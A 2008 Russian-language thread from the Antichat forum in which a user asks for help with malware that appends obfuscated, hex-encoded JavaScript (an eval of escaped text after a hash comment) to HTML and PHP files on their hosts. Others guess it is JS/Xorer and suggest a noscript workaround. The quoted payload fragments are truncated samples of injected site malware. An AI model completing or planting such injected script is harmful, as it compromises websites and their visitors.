Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Help вирус прикрепляется в конец файлов! (https://forum.antichat.xyz/showthread.php?t=73629)

mff 13.06.2008 15:45

Help вирус прикрепляется в конец файлов!
 
ААААААААААААААААААААААААа а люди помогите!!! Что за вирус, кидаю файлы по ftp на хост и к ним прикрепляется вирус в конец такого типа:

<!-- [ 4455e927ffa4408f4d13cbdc18c9a79d ] --><script>eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x2 0\x61\x6e\x6d\x63\x64\x28\x69\x64\x62\x5a\x29\x7b\ x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x35\x35...

sasha008 13.06.2008 15:47

ето наверное туркоян!!!

MaZaHaKer 13.06.2008 15:50

Цитата:

Сообщение от mff
ААААААААААААААААААААААААа а люди помогите!!! Что за вирус, кидаю файлы по ftp на хост и к ним прикрепляется вирус в конец такого типа:

<!-- [ 4455e927ffa4408f4d13cbdc18c9a79d ] --><script>eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x2 0\x61\x6e\x6d\x63\x64\x28\x69\x64\x62\x5a\x29\x7b\ x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x35\x35...

похоже на эксплойт .... на JavaScript....

mff 13.06.2008 15:54

Цитата:

Сообщение от sasha008
ето наверное туркоян!!!

Х/З я сталкивался с этой ***ней когда работал на студии дизайна, пол года ебались с этим вирусом и систему сносили и по 3 антивиря они ставили - так и не хуя!!! Люди добрые помогите! Что делать? Прикрепляется в конец файлов html и php вирус на JS
HELP SOS HELP :( :( :(

Пол года с ними не работаю, а тут попросили зайти на хостинг их, посмотреть проблемму, как раз этот сайт и был инфицирован, я зашел, вышел, после чего на следующий день узнаю, что у меня на другом хосте, на Агаве такой же хлопец сидит! :) Вот подонки то. HELP !!! :(

MaZaHaKer 13.06.2008 15:58

Дай полный код который прикрепляется к файлам . Скорее всего у тебя JS\Xorer - Заражает JS файлы и не только . :(

mff 13.06.2008 19:18

Цитата:

Сообщение от MaZaHaKer
Дай полный код который прикрепляется к файлам . Скорее всего у тебя JS\Xorer - Заражает JS файлы и не только . :(

Код HTML:

<!-- [ 4455e927ffa4408f4d13cbdc18c9a79d ] -->
<script>
eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x61\x31\x66\x25\x37\x66\x25\x35\x31\x31...

Всего кода не сохранил :(


P.S. кто там так жестко ачат то ддосит, что даже сообщение незапостить!? :mad:

diehard 13.06.2008 19:22

Напиши полный код. Конечно это не выход, но на время пока будешь искать источник заразы в конце страниц добавляй просто <noscript>

mff 13.06.2008 19:25

Цитата:

Сообщение от diehard
Напиши полный код. Конечно это не выход, но на время пока будешь искать источник заразы в конце страниц добавляй просто <noscript>

так и сделаю пока! Уже мысли были, нужно как то избавится эт этого дерьмя приципного. Тема актуальная, не в первый раз уже сталкиваюсь.

Piflit 13.06.2008 19:42

function a1f%7f%511 ...

такое начало. поищи лучше весь код

mff 13.06.2008 20:06

Цитата:

Сообщение от Piflit
function a1f%7f%511 ...

такое начало. поищи лучше весь код

вот он, только конца нету, как появится я выложу весь кусок, он везде одинаково выглядит

http://slil.ru/25893254


Время: 03:49